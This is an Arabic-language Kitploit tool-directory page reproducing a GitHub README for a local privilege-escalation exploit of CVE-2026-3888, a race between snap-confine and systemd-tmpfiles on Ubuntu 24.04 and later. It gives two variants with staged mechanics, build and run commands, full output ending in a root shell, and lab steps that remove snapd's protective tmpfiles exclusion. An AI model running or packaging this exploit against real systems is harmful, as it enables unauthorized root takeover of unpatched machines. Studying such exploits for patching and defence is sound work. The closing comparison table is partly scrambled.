Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/thecybergeek/cve-2026-3888-snap-confine-systemd-tmpfiles-lpe
تصعيد الامتيازاتأطر الاستغلالتحليل الثغرات الأمنيةالاستغلالاختبار الاختراقالتعلم والتعليمالفريق الأحمراستغلال الملفات الثنائيةمختبرات وتدريب عملي

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
GitHubthecybergeek/cve-2026-3888-snap-confine-systemd-tmpfiles-lpe

CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE

استغلال تصعيد الامتيازات المحلية لثغرة CVE-2026-3888 التي تستهدف snap-confine وsystemd-tmpfiles على أوبونتو، مع توفير نسختين SUID وcapabilities لتحقيق وصول الجذر.

عرض المستودع
172منذ 5 أشهرلم تتم المراجعة بعد

CVE-2026-3888 — snap-confine / systemd-tmpfiles تصعيد الامتيازات المحلي

تصعيد الامتيازات المحلي من مستخدم غير مميز إلى صلاحيات الجذر الكاملة على Ubuntu Desktop 24.04+ من خلال استغلال حالة سباق TOCTOU بين snap-confine وsystemd-tmpfiles. يتم توفير نسختين: SUID وCapabilities.

CVSS: 7.8 (عالية) | التقرير الأمني: Qualys | التصحيح: snapd 2.74.2، 17 مارس 2026

جدول المحتويات

  • مقارنة النسختين
  • النسخة 1 — SUID
    • كيف تعمل
    • الملفات
    • البناء
    • الاستخدام
    • المتطلبات
    • المخرجات
  • النسخة 2 — Capabilities
    • كيف تعمل
    • الملفات
    • البناء
    • الاستخدام
    • المتطلبات
    • المخرجات
  • إعداد المختبر
  • إخلاء المسؤولية

مقارنة النسختين


النسخة 1 — SUID

كيف تعمل

  1. يقوم systemd-tmpfiles بحذف دليل المحاكاة القديم .snap تحت /tmp (انتهاء الصلاحية بعد 30 يومًا)
  2. يعيد المهاجم إنشاءه بمحتوى مُتحكم به — جميع الملفات مملوكة للمهاجم
  3. يقوم الاستغلال بتنفيذ snap-confine خطوة بخطوة عبر ضغط المقبس AF_UNIX للفوز بالسباق بشكل موثوق أثناء تسلسل ربط التحميل المحاكي
  4. يتم تحميل المكتبات المملوكة للمهاجم داخل بيئة العزل بصلاحيات الجذر
  5. يتم استبدال ld-linux-x86-64.so.2 بـ shellcode يستدعي setreuid(0,0) + execve
  6. تنفيذ SUID snap-confine يُطلق shellcode بصلاحيات الجذر
  7. يتم إسقاط bash بصلاحيات SUID إلى /var/snap/firefox/common/ للهروب من بيئة العزل

الملفات

الملفالوصف
exploit_suid.cاستغلال موحد بملف ثنائي واحد — جميع المراحل السبع في منسق واحد قائم على fork
librootshell_suid.cالحمولة — ELF صغير يستبدل ld-linux-x86-64.so.2 عبر استدعاءات نظام x86_64 خام

البناء

root@kitploit:~
gcc -O2 -static -o exploit exploit_suid.c
gcc -nostdlib -static -Wl,--entry=_start -o librootshell.so librootshell_suid.c

يجب تجميع كليهما على (أو تجميع متقاطع لـ) x86_64 Linux. exploit مرتبط ثابتًا بحيث يعمل داخل بيئة عزل snap دون تبعيات مكتبات. يستخدم librootshell.so خيار -nostdlib لأنه يحتوي فقط على استدعاءات نظام خام — بدون libc.

الاستخدام

root@kitploit:~
./exploit <librootshell.so> [-d] [-s]
العلمالوصف
-dإظهار مخرجات تصحيح snap-confine (وضع تفصيلي)
-sتخطي انتظار تنظيف .snap (يتطلب كلمة مرور الجذر)
root@kitploit:~
# تشغيل عادي
./exploit ./librootshell.so

# وضع التصحيح
./exploit ./librootshell.so -d

# إعادة المحاولة بعد الفشل
./exploit ./librootshell.so -s

يدخل الاستغلال إلى بيئة العزل، وينتظر قيام systemd-tmpfiles بحذف .snap (حتى 10 أيام على Ubuntu 25.10 القياسي وحتى 30 يومًا على Ubuntu 24.04 القياسي)، ثم يشغّل السباق تلقائيًا. عند النجاح، ينتقل إلى قشرة جذر.

المتطلبات

  • Ubuntu 24.04+ مع snapd غير مصحح (< 2.74.2)
  • يجب أن يكون snap-confine بصلاحيات SUID-root (-rwsr-xr-x 1 root root /usr/lib/snapd/snap-confine)
  • تثبيت snap مع ربط تحميل تخطيط (firefox، snap-store، إلخ.)
  • تفعيل systemd-tmpfiles-clean.timer
  • توفر busybox على الهدف (/usr/bin/busybox)

المخرجات

root@kitploit:~
user@ubuntu:~$ snap --version
snap    2.63.1+24.04
snapd   2.63.1+24.04
series  16
ubuntu  24.04
kernel  6.17.0-19-generic
user@ubuntu:~$ cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.4 LTS"
user@ubuntu:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),116(lpadmin)
user@ubuntu:~$ ./exploit ./librootshell.so
================================================================
    CVE-2026-3888 — snap-confine / systemd-tmpfiles SUID LPE
================================================================
[*] الحمولة: /home/user/./librootshell.so (9056 بايت)

[المرحلة 1] الدخول إلى بيئة عزل Firefox...
[+] معرف قشرة داخلية: 3122

[المرحلة 2] انتظار حذف .snap...
[*] الاستطلاع (حتى 30 يومًا على Ubuntu القياسي).
[*] تلميح: استخدم -s للتخطي.
[+] تم حذف .snap.

[المرحلة 3] تدمير مساحة اسم التحميل المخزنة...
cannot perform operation: mount --rbind /dev /tmp/snap.rootfs_sygTaK//dev: No such file or directory
[+] تم تدمير مساحة الاسم.

[المرحلة 4] إعداد وتشغيل السباق...
[*]   دليل العمل: /proc/3122/cwd
[*]   بناء .snap و.exchange...
[*]   تم نسخ 285 مدخل إلى دليل التبادل
[*]   بدء السباق...
[*]   مراقبة snap-confine (معرف العملية الفرعية 3543)...

[!]   TRIGGER — تبديل الدلائل...
[+]   تم التبديل — تم الفوز بالسباق!
[*]   ld-linux في مساحة الاسم: user:user 755
[+]   مساحة الاسم المسمومة PID: 3543

[المرحلة 5] حقن الحمولة في مساحة الاسم المسمومة...
[+]   ld-linux مملوك لـ uid 1000 (المهاجم). تم تأكيد السباق.
[*]   زرع busybox...
[*]   كتابة سكربت الهروب → /tmp/sh
[*]   استبدال ld-linux-x86-64.so.2...
[+]   تم حقن الحمولة.

[المرحلة 6] تشغيل الجذر عبر SUID snap-confine...
[*]   snap-confine → snap-confine (مشغل SUID)
[*]   حالة الخروج: 0

[المرحلة 7] التحقق...
[+] bash جذر SUID: /var/snap/firefox/common/bash (الوضع 4755)
[*] تنظيف العمليات الخلفية...

================================================================
  قشرة الجذر: /var/snap/firefox/common/bash -p
================================================================

bash-5.1# id
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),116(lpadmin)

النسخة 2 — Capabilities

كيف تعمل

  1. يقوم systemd-tmpfiles بحذف دليل المحاكاة القديم .snap تحت /tmp
  2. يعيد المهاجم إنشاءه بمحتوى مُتحكم به — جميع الملفات مملوكة للمهاجم
  3. يقوم الاستغلال بتنفيذ snap-confine خطوة بخطوة عبر ضغط المقبس AF_UNIX للفوز بالسباق بشكل موثوق أثناء تسلسل ربط تحميل /var/lib المحاكي
  4. يكتسب المهاجم السيطرة على /var/lib/snapd/mount/snap.snap-store.user-fstab
  5. تقوم مدخلات user-fstab بربط تحميل /etc مسموم (مع ld.so.preload) داخل بيئة العزل
  6. تنفيذ ثنائي SUID-root su من /tmp/.snap يقوم بتحميل librootshell.so مسبقًا والذي يستدعي setreuid(0,0) +

الملفات

الملفالوصف
exploit_caps.cاستغلال موحد بملف ثنائي واحد — جميع المراحل السبع في منسق واحد قائم على fork
librootshell_caps.cالحمولة — مكتبة مشتركة مع مُنشئ يستدعي setreuid(0,0) + execve

البناء

root@kitploit:~
gcc -O2 -static -o exploit exploit_caps.c
gcc -shared -fPIC -nostartfiles -o librootshell.so librootshell_caps.c

يجب تجميع كليهما على (أو تجميع متقاطع لـ) x86_64 Linux. exploit مرتبط ثابتًا بحيث يعمل داخل بيئة عزل snap دون تبعيات مكتبات. يستخدم librootshell.so خيار -nostartfiles و__attribute__((constructor)) — يتم تحميله عبر ld.so.preload قبل دالة main() للثنائي الهدف.

الاستخدام

root@kitploit:~
./exploit <librootshell.so> [-d] [-s]
العلمالوصف
-dإظهار مخرجات تصحيح snap-confine (وضع تفصيلي)
-sتخطي انتظار تنظيف .snap (استخدمه عندما يكون .snap قد اختفى بالفعل)
root@kitploit:~
# تشغيل عادي
./exploit ./librootshell.so

# وضع التصحيح
./exploit ./librootshell.so -d

# تخطي الانتظار (إعادة المحاولة)
./exploit ./librootshell.so -s

يدخل الاستغلال إلى بيئة العزل، وينتظر قيام systemd-tmpfiles بحذف .snap (حتى 10 أيام على Ubuntu 25.10 القياسي وحتى 30 يومًا على Ubuntu 24.04 القياسي)، ثم يشغّل السباق تلقائيًا. عند النجاح، ينتقل إلى قشرة جذر.

المتطلبات

  • Ubuntu Desktop 24.04+ مع snapd غير مصحح (< 2.74.2، تم اختباره على 2.71.1)
  • يجب أن يمتلك snap-confine capabilities (cap_sys_admin، cap_chown، cap_dac_override، إلخ.)
  • تثبيت snap snap-store (افتراضي على Ubuntu Desktop)
  • تثبيت snap الأساسي core22
  • تفعيل systemd-tmpfiles-clean.timer
  • توفر busybox على الهدف (/usr/bin/busybox)

المخرجات

root@kitploit:~
user@ubuntu:~$ snap --version
snap    2.71.1+ubuntu25.10.1
snapd   2.71.1+ubuntu25.10.1
series  16
ubuntu  25.10
kernel  6.17.0-19-generic
user@ubuntu:~$ cat /etc/lsb-release 
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=25.10
DISTRIB_CODENAME=questing
DISTRIB_DESCRIPTION="Ubuntu 25.10"
user@ubuntu:~$ ./exploit ./librootshell.so 
================================================================
CVE-2026-3888 — snap-confine / systemd-tmpfiles Capabilities LPE 
================================================================
[*] الحمولة: /home/user/./librootshell.so (14320 بايت)

[المرحلة 1] الدخول إلى بيئة عزل snap-store...
[+] معرف قشرة داخلية: 3501

[المرحلة 2] انتظار حذف .snap...
[*] الاستطلاع (حتى 10 أيام على Ubuntu 25.10).
[*] تلميح: استخدم -s للتخطي.
[+] تم حذف .snap.

[المرحلة 3] تدمير مساحة اسم التحميل المخزنة...
cannot perform operation: mount --rbind /dev /tmp/snap.rootfs_wQcOnV//dev: No such file or directory
[+] تم تدمير مساحة الاسم (.mnt اختفى).

[المرحلة 4] إعداد وتشغيل السباق...
[*]   دليل العمل: /proc/3501/cwd
[*]   بناء .snap و.exchange...
[*]   تم نسخ 17 مدخل إلى دليل التبادل
[*]   بدء السباق...
[*]   مراقبة snap-confine (معرف العملية الفرعية 3678)...

[!]   TRIGGER — تبديل الدلائل...
[+]   تم التبديل — تم الفوز بالسباق!
[+]   تم الفوز بالسباق. /var/lib/snapd أصبح مملوكًا للمستخدم.

[المرحلة 5] إعداد الحمولة وuser-fstab...
[*]   نسخ /etc إلى .snap/etc...
[*]   كتابة ld.so.preload...
[*]   كتابة user-fstab...
[*]   نسخ librootshell.so إلى /tmp/...
[*]   نسخ busybox...
[*]   كتابة سكربت الهروب...
[*]   إعادة تبديل var/lib (استعادة بيانات snapd الأصلية)...
[+]   الحمولة جاهزة.

[المرحلة 6] تشغيل الجذر عبر ثنائي SUID في /tmp/.snap...
[*]   التنفيذ: snap-confine → /tmp/.snap/var/lib/snapd/hostfs/snap/core22/current/usr/bin/su
[*]   حالة الخروج: 0

[المرحلة 7] التحقق...
[+] bash جذر SUID: /var/snap/snap-store/common/bash (الوضع 4755)
[*] تنظيف العمليات الخلفية...

================================================================
  قشرة الجذر: /var/snap/snap-store/common/bash -p
================================================================

bash-5.1# id
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),116(lpadmin)

إعداد المختبر

على تثبيت Ubuntu قياسي، يستغرق تنظيف .snap 30 يومًا (24.04) أو 10 أيام (25.10). لتسريع ذلك للاختبار، قلل عمر /tmp وفاصل المؤقت:

تقليل عمر تنظيف /tmp إلى 4 دقائق

قم بتحرير /usr/lib/tmpfiles.d/tmp.conf (كجذر):

root@kitploit:~
# غيّر العمر من 30d إلى 4m
sudo sed -i 's|^q /tmp .\+|q /tmp 1777 root root 4m|' /usr/lib/tmpfiles.d/tmp.conf

تحقق:

root@kitploit:~
grep '^q /tmp' /usr/lib/tmpfiles.d/tmp.conf
# يجب أن يُظهر: q /tmp 1777 root root 4m

تسريع مؤقت التنظيف ليعمل كل دقيقة

root@kitploit:~
sudo mkdir -p /etc/systemd/system/systemd-tmpfiles-clean.timer.d
sudo tee /etc/systemd/system/systemd-tmpfiles-clean.timer.d/override.conf > /dev/null <<'EOF'
[Timer]
OnBootSec=1m
OnUnitActiveSec=1m
EOF
sudo systemctl daemon-reload
sudo systemctl restart systemd-tmpfiles-clean.timer

تحقق:

root@kitploit:~
systemctl list-timers systemd-tmpfiles-clean
# يجب أن يُظهر عمود NEXT حوالي دقيقة واحدة من الآن

إزالة استثناء .snap (snapd 2.73+ فقط)

يضيف snapd 2.73+ قاعدة استثناء تمنع tmpfiles من تنظيف .snap. إذا كان نظامك يحتوي على ذلك، تحقق منه وأزله:

root@kitploit:~
cat /usr/lib/tmpfiles.d/snapd.conf
# إذا رأيت: x /tmp/snap-private-tmp/*/tmp/.snap
# أزل هذا السطر، أو قم بتخفيض الإصدار إلى snapd 2.71.1

مع هذه الإعدادات، سيتم تنظيف .snap خلال ~5 دقائق من انتهاء صلاحيته، مما يسمح بالتكرار السريع أثناء الاختبار.


إخلاء المسؤولية

يتم توفير هذا الكود strictly للأغراض التعليمية، والبحث الأمني المصرح به، ومهام اختبار الاختراق حيث تم الحصول على إذن كتابي صريح. لا يتحمل المؤلف أي مسؤولية عن إساءة استخدام هذا البرنامج. باستخدامك لهذا الكود، فإنك توافق على أنك وحدك المسؤول عن أفعالك وأي عواقب تنشأ عن استخدامه. لا تستخدم هذا الكود ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها.

تنزيل الأداة
Ubuntu 24.04 (SUID)Ubuntu 25.10 (Capabilities)
snap-confineSUID-rootCapabilities (cap_sys_admin، إلخ.)
الهدف snapfirefoxsnap-store
محاكاة الهدف/usr/lib/x86_64-linux-gnu (~285 مدخل)/var/lib (~17 مدخل)
ناقل الاستغلالاستبدال ld-linux-x86-64.so.2 بـ shellcodeالتحكم في user-fstab + ld.so.preload
تنسيق الحمولةELF ثابت مع استدعاءات نظام خاممكتبة مشتركة مع __attribute__((constructor))
مشغل الجذرSUID snap-confine يحمّل الرابط الديناميكي المسمومSUID su في /tmp/.snap يقوم بتحميل .so مسبقًا
متطلب cgroupأي اسم snap.*تطابق تام: snap.snap-store.hook.configure
تنظيف .snap30 يومًا10 أيام
الهروب من العزل/var/snap/firefox/common/bash/var/snap/snap-store/common/bash
execve("/tmp/sh")
  • يتم إسقاط bash بصلاحيات SUID إلى /var/snap/snap-store/common/ للهروب من بيئة العزل